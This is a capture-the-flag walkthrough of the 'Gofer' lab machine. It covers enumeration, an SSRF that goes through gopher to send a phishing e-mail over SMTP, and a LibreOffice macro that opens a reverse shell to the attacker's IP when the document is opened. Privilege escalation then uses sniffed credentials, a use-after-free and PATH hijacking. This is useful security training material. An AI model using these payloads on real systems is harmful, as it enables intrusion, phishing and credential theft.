Gofer Machine Info

TL;DR

Gofer involves the discovery of a hidden, in-development proxy on a subdomain. The challenge is to bypass the Limit directive in order to be able to trigger SSRF. Using the Gopher protocol, you must send an e-mail to a phishing-prone employee known for clicking on all links. The next step is sending a malicious .odt file (LibreOffice Writer Document) which utilizes macros that can be used to gain foothold.

The PrivEsc process begins by using tcpdump to listen for requests on the box and gain access to an account with the capability to execute a SUID binary at /usr/local/bin/notes. The subsequent phase involves exploiting a use-after-free vulnerability in the binary to bypass authorization.

Finally, the goal is to utilize Path interception to obtain a root shell.

Reconnaissance

nmap

nmap finds 4 open TCP ports, SSH (22), HTTP (80), and SMB (139 & 445).

 1❯ nmap -sC -sV gofer.htb
 2Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-02 19:32 CEST
 3Nmap scan report for gofer.htb (10.129.47.78)
 4Host is up (0.034s latency).
 5Not shown: 995 closed tcp ports (conn-refused)
 6PORT    STATE    SERVICE     VERSION
 722/tcp  open     ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
 8| ssh-hostkey: 
 9|   3072 aa:25:82:6e:b8:04:b6:a9:a9:5e:1a:91:f0:94:51:dd (RSA)
10|   256 18:21:ba:a7:dc:e4:4f:60:d7:81:03:9a:5d:c2:e5:96 (ECDSA)
11|_  256 a4:2d:0d:45:13:2a:9e:7f:86:7a:f6:f7:78:bc:42:d9 (ED25519)
1225/tcp  filtered smtp
1380/tcp  open     http        Apache httpd 2.4.56
14|_http-title: Gofer
15|_http-server-header: Apache/2.4.56 (Debian)
16139/tcp open     netbios-ssn Samba smbd 4.6.2
17445/tcp open     netbios-ssn Samba smbd 4.6.2
18Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
19
20Host script results:
21| smb2-time: 
22|   date: 2023-08-02T17:32:49
23|_  start_date: N/A
24| smb2-security-mode: 
25|   3:1:1: 
26|_    Message signing enabled but not required
27|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
28
29Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
30Nmap done: 1 IP address (1 host up) scanned in 20.67 seconds

Two of these are of immediate interest, which are port 80 (HTTP), and port 139/445 (SMB).

SMTP is showing up as filtered, so it is most likely restricted by a firewall, we will definitely need it for later though.

Samba

After listing the shares we can notice there is a shares share which we can try and enumerate further.

1❯ smbclient -L \\\\gofer.htb\\ 
2Password for [WORKGROUP\root]:
3
4 Sharename       Type      Comment
5 ---------       ----      -------
6 print$          Disk      Printer Drivers
7 shares          Disk      
8 IPC$            IPC       IPC Service (Samba 4.13.13-Debian)
9SMB1 disabled -- no workgroup available

We were able to connect as a guest, next, we could just browse the share and look for interesting stuff.

 1❯ smbclient \\\\gofer.htb\\shares -U %
 2Try "help" to get a list of possible commands.
 3smb: \> dir
 4  .                                   D        0  Fri Oct 28 20:32:08 2022
 5  ..                                  D        0  Fri Apr 28 12:59:34 2023
 6  .backup                            DH        0  Thu Apr 27 13:49:32 2023
 7
 8  5061888 blocks of size 1024. 2157968 blocks available
 9smb: \> cd .backup
10smb: \.backup\> dir
11  .                                   D        0  Thu Apr 27 13:49:32 2023
12  ..                                  D        0  Fri Oct 28 20:32:08 2022
13  mail                                N     1101  Thu Apr 27 13:49:32 2023
14
15  5061888 blocks of size 1024. 2157960 blocks available
16smb: \.backup\> get mail
17getting file \.backup\mail of size 1101 as mail (12.4 KiloBytes/sec) (average 12.4 KiloBytes/sec)

We managed to grab an e-mail backup which gives us some interesting information for later.

 1❯ cat mail
 2From [email protected]  Fri Oct 28 20:29:30 2022
 3Return-Path: <[email protected]>
 4X-Original-To: [email protected]
 5Delivered-To: [email protected]
 6Received: from gofer.htb (localhost [127.0.0.1])
 7        by gofer.htb (Postfix) with SMTP id C8F7461827
 8        for <[email protected]>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
 9Subject:Important to read!
10Message-Id: <[email protected]>
11Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
12From: [email protected]
13
14Hello guys,
15
16Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use a .odt format, as documents saved in Office Word are not always well interpreted by LibreOffice.
17
18PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>

HTTP

The website is for a fictional company Gofer; it has little useful info except for location, e-mail, phone number, and the team’s names.

We will keep those in mind and further enumerate the webserver.

Gofer Main Website

We can then enumerate subdirectories.

 1❯ gobuster dir -u http://gofer.htb -w /opt/useful/SecLists/Discovery/Web-Content/common.txt
 2===============================================================
 3Gobuster v3.1.0
 4by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
 5===============================================================
 6[+] Url:                     http://gofer.htb
 7[+] Method:                  GET
 8[+] Threads:                 10
 9[+] Wordlist:                /opt/useful/SecLists/Discovery/Web-Content/common.txt
10[+] Negative Status codes:   404
11[+] User Agent:              gobuster/3.1.0
12[+] Timeout:                 10s
13===============================================================
142023/08/02 20:17:21 Starting gobuster in directory enumeration mode
15===============================================================
16/.hta                 (Status: 403) [Size: 274]
17/.htpasswd            (Status: 403) [Size: 274]
18/.htaccess            (Status: 403) [Size: 274]
19/assets               (Status: 301) [Size: 307] [--> http://gofer.htb/assets/]
20/index.html           (Status: 200) [Size: 29380]                             
21/server-status        (Status: 403) [Size: 274]                               
22                                                                              
23===============================================================
242023/08/02 20:17:32 Finished
25===============================================================

Nothing, let’s move on to vhosts.

 1❯ ffuf -u http://FUZZ.gofer.htb -H "Host: FUZZ.gofer.htb" -w /opt/useful/SecLists/Discovery/Web-Content/common.txt
 2
 3        /'___\  /'___\           /'___\       
 4       /\ \__/ /\ \__/  __  __  /\ \__/       
 5       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
 6        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
 7         \ \_\   \ \_\  \ \____/  \ \_\       
 8          \/_/    \/_/   \/___/    \/_/       
 9
10       v1.4.1-dev
11________________________________________________
12
13 :: Method           : GET
14 :: URL              : http://FUZZ.gofer.htb
15 :: Wordlist         : FUZZ: /opt/useful/SecLists/Discovery/Web-Content/common.txt
16 :: Header           : Host: FUZZ.gofer.htb
17 :: Follow redirects : false
18 :: Calibration      : false
19 :: Timeout          : 10
20 :: Threads          : 40
21 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
22________________________________________________
23
24proxy                   [Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 20ms]
25:: Progress: [4652/4652] :: Job [1/1] :: 791 req/sec :: Duration: [0:00:10] :: Errors: 4651 ::

We found a proxy vhost that gives us 401, we can try checking what headers it returns.

1❯ curl proxy.gofer.htb -I
2HTTP/1.1 401 Unauthorized
3Date: Wed, 02 Aug 2023 19:26:23 GMT
4Server: Apache/2.4.56 (Debian)
5WWW-Authenticate: Basic realm="Restricted Content"
6Content-Type: text/html; charset=iso-8859-1

Here we can see the WWW-Authenticate which prompts the browser to authenticate using the Basic access authentication

If we refer back to the e-mail backup we found, we know the proxy is using the Limit directive to restrict access to it, so we can try fuzzing the HTTP verbs to see whether we can bypass it with a different verb.

 1❯ ffuf -X FUZZ -u http://proxy.gofer.htb -w http-request-methods.txt -fc 401
 2
 3        /'___\  /'___\           /'___\       
 4       /\ \__/ /\ \__/  __  __  /\ \__/       
 5       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
 6        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
 7         \ \_\   \ \_\  \ \____/  \ \_\       
 8          \/_/    \/_/   \/___/    \/_/       
 9
10       v1.4.1-dev
11________________________________________________
12
13 :: Method           : FUZZ
14 :: URL              : http://proxy.gofer.htb
15 :: Wordlist         : FUZZ: http-request-methods.txt
16 :: Follow redirects : false
17 :: Calibration      : false
18 :: Timeout          : 10
19 :: Threads          : 40
20 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
21 :: Filter           : Response status: 401
22________________________________________________
23
24TRACE                   [Status: 405, Size: 303, Words: 26, Lines: 10, Duration: 20ms]
25:: Progress: [82/82] :: Job [1/1] :: 12 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

Unfortunately, it’s returning 401 for all of them except for TRACE which just returns 405 Method Not Allowed.

We can instead try to fuzz both HTTP verbs and files/directories.

 1❯ wfuzz -X FUZZ -u http://proxy.gofer.htb/FUZ2Z -w /opt/useful/SecLists/Fuzzing/http-request-methods.txt -w /opt/useful/SecLists/Discovery/Web-Content/common.txt --hc 401,404
 2********************************************************
 3* Wfuzz 3.1.0 - The Web Fuzzer                         *
 4********************************************************
 5
 6Target: http://proxy.gofer.htb/FUZ2Z
 7Total requests: 386630
 8
 9=====================================================================
10ID           Response   Lines    Word       Chars       Payload                                                                          
11=====================================================================
12
13000000023:   403        9 L      28 W       280 Ch      "GET - GET - .hta"                                                               
14000000025:   403        9 L      28 W       280 Ch      "GET - GET - .htpasswd"                                                          
15000000024:   403        9 L      28 W       280 Ch      "GET - GET - .htaccess"                                                          
16000003712:   403        9 L      28 W       280 Ch      "GET - GET - server-status"                                                      
17000004740:   403        0 L      0 W        0 Ch        "HEAD - HEAD - .htpasswd"                                                        
18000004738:   403        0 L      0 W        0 Ch        "HEAD - HEAD - .hta"                                                             
19000004739:   403        0 L      0 W        0 Ch        "HEAD - HEAD - .htaccess"                                                        
20000008427:   403        0 L      0 W        0 Ch        "HEAD - HEAD - server-status"                                                    
21000009453:   403        9 L      28 W       280 Ch      "POST - POST - .hta"                                                             
22000009454:   403        9 L      28 W       280 Ch      "POST - POST - .htaccess"                                                        
23000009455:   403        9 L      28 W       280 Ch      "POST - POST - .htpasswd"                                                        
24000011625:   200        1 L      10 W       81 Ch       "POST - POST - index.php" 

Bingo, index.php returns 200 with the POST method, let’s check out what’s there.

1❯ curl -XPOST http://proxy.gofer.htb/index.php
2<!-- Welcome to Gofer proxy -->
3<html><body>Missing URL parameter !</body></html>

It says we’re missing the url parameter, let’s fix that.

Successful SSRF

And we’ve got a successful SSRF.

SSRF

If we look back at the e-mail backup we found, we learned that there is an employee who keeps clicking on links without paying attention, her name is Jocelyn.

We’re also able to learn they use .odt to share important documents, this means we could prepare a malicious .odt file with a reverse shell and hope Jocelyn opens it.

We can use the Gopher protocol to send a command to the SMTP server and hopefully send an e-mail to Jocelyn with a link to the malicious document.

We can figure out Jocelyn’s email by referring back to the previous findings on their website, where we found info about their team, we can use two individuals for this example:

  1. Tom Buckley
  2. Jocelyn Hudson

If we refer back to the e-mail backup we found, we can see that the e-mail is addressed from jdavis to tbuckley, so we know the pattern which is the first letter of their first name and then their entire last name. So Jocelyn’s email would be jhudson since she’s Jocelyn Hudson.

After taking a look at HackTricks SSRF we are able to craft our payload.

Note: The payload has to be URL-encoded twice, once because of the browser->server communication and then once more because of server->server communication.

1❯ curl -XPOST http://proxy.gofer.htb/index.php?url=gopher://localhost:25/_HELO%2520gofer.htb%250AMAIL%2520FROM:%[email protected]%253E%250ARCPT%2520TO:%[email protected]%253E%250ADATA%250AFrom:%2520%[email protected]%253E%250ATo:%2520%[email protected]%253E%250ADate:%2520Tue,%25202%2520July%25202023%252017:20:26%2520-0400%250ASubject:%2520Urgent%250A%250A%250Ahttp://10.10.14.85:1337/important.odt%250A.%250AQUIT
2<!-- Welcome to Gofer proxy -->
3<html><body>Blacklisted keyword: localhost !</body></html>

There’s some kind of filter, let’s bypass it by using 127.0.0.1 instead since localhost is blacklisted.

1❯ curl -XPOST http://proxy.gofer.htb/index.php?url=gopher://127.0.0.1:25/_HELO%2520gofer.htb%250AMAIL%2520FROM:%[email protected]%253E%250ARCPT%2520TO:%[email protected]%253E%250ADATA%250AFrom:%2520%[email protected]%253E%250ATo:%2520%[email protected]%253E%250ADate:%2520Tue,%25202%2520July%25202023%252017:20:26%2520-0400%250ASubject:%2520Urgent%250A%250A%250Ahttp://10.10.14.85:1337/important.odt%250A.%250AQUIT
2<!-- Welcome to Gofer proxy -->
3<html><body>Blacklisted keyword: /127 !</body></html>

Now /127 is blacklisted, due to the fact there is also the forward slash; we could do something like http://[email protected] since that doesn’t contain /127.

 1❯ curl -XPOST http://proxy.gofer.htb/index.php?url=gopher://[email protected]:25/_HELO%2520gofer.htb%250AMAIL%2520FROM:%[email protected]%253E%250ARCPT%2520TO:%[email protected]%253E%250ADATA%250AFrom:%2520%[email protected]%253E%250ATo:%2520%[email protected]%253E%250ADate:%2520Tue,%25202%2520July%25202023%252017:20:26%2520-0400%250ASubject:%2520Urgent%250A%250A%250Ahttp://10.10.14.85:1337/important.odt%250A.%250AQUIT
 2<!-- Welcome to Gofer proxy -->
 3220 gofer.htb ESMTP Postfix (Debian/GNU)
 4250 gofer.htb
 5250 2.1.0 Ok
 6250 2.1.5 Ok
 7354 End data with <CR><LF>.<CR><LF>
 8250 2.0.0 Ok: queued as 91BDE813B
 9221 2.0.0 Bye
101

SMTP Phishing Success

Malicious ODT

We prepare a simple empty Writer document and add a new macro by going to: Tools -> Macros -> Edit Macros

LibreOffice Step 1

We create our reverse shell macro.

1Sub Main
2    Shell("bash -c 'sh -i 5<> /dev/tcp/10.10.14.85/1234 0<&5 1>&5 2>&5'")
3End Sub

LibreOffice Step 3

We then have to make sure the document executes the macro when the document is opened by opening: Tools -> Macros -> Organize Macros -> Basic

LibreOffice Step 3

Next, we click on Assign... and then switch over to the Events tab.

Then we have to bind the Open Document event to the macro we created.

It should look like this:

LibreOffice Step 4

After that, we are ready to trigger the SSRF to get our reverse shell!

User Shell

Right as we get our reverse shell, we can pop the flag!

user.txt: 324f***********************7d7ed

User Flag

Afterward, to secure our foothold, we can insert our public ssh key into ~/.ssh/authorized_keys for easy ssh access.

Privilege Escalation

Then, we can run LinPEAS to see whether there are any easy ways of escalation.

There is an interesting SUID binary at /usr/local/bin/notes but we can’t execute it as it can only be executed by the owner and the group.

1❯ ls -la /usr/local/bin/notes
2-rwsr-s--- 1 root dev 17168 Apr 28 16:06 /usr/local/bin/notes

Horizontal Privilege Escalation

We can check who is in the group by running cat /etc/group | grep dev.

1❯ cat /etc/group | grep dev
2plugdev:x:46:
3netdev:x:108:jhudson
4dev:x:1004:tbuckley

And we can see that we need to gain access to tbuckley to run the SUID binary.

It seems that we didn’t find anything else noteworthy by running LinPEAS outside the fact there is a tcpdump binary with cap_net_admin,cap_net_raw=eip which means we can capture packets as any user on this machine.

LinPEAS Capabilities: TCPDump

Next, we can use the fact we have ssh access to the box to create a tunnel where we tunnel the output of tcpdump into wireshark on our local machine.

ssh [email protected] tcpdump -i lo -U -s0 -w - 'port not 22' | sudo wireshark -k -i -

After a while, we will be able to notice there is a GET request to the proxy that came from localhost.

Wireshark

Wireshark TCP Stream

We can notice there are base64-encoded HTTP credentials, so we can go ahead and decode them.

1❯ echo dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk= | base64 -d
2tbuckley:ooP**************eti

Let’s try and use them to ssh to the box!

Vertical Privilege Escalation

SSH tbuckley

And we’re in, we can now investigate the notes binary.

First, we’ll try every input in the application and see how it behaves and what we have to work with.

notes binary

To use option 8. Backup Notes we have to be an admin.

When playing around with the binary, I noticed that when you select option 2. Show User Information before creating a user, it will tell you: First create a user!

However, if we create a user, delete the user, and show user information, it now shows us empty user information, which means this is a use-after-free vulnerability.

After deleting the user, the application calls free which frees the space but there is still a pointer to that address in memory, so the application thinks there is user data in that memory space.

Then I noticed that if we created a new note after deleting the user, the username would be set to what we entered into the note.

use-after-free note

After playing around with the note input, I noticed that if you enter a long enough string, it would also overwrite the user role.

use-after-free role

So we can use that to set our role to admin and try option 8. Backup Notes

use-after-free admin

By checking out the disassembly we can see the application is calling setuid at 0x00001474, setgid at 0x0000147e, and system at 0x0000148a

notes disassembly

We can see that the tar command that’s going into system is not using an absolute path which means we can try Path interception to spawn a root shell.

1❯ echo "bash" > ~/tar
2❯ chmod +x ~/tar
3❯ export PATH=~:$PATH

And voilá, we have a root shell and have captured the root flag!

root.txt: c5e7***********************b7d6a

Root Flag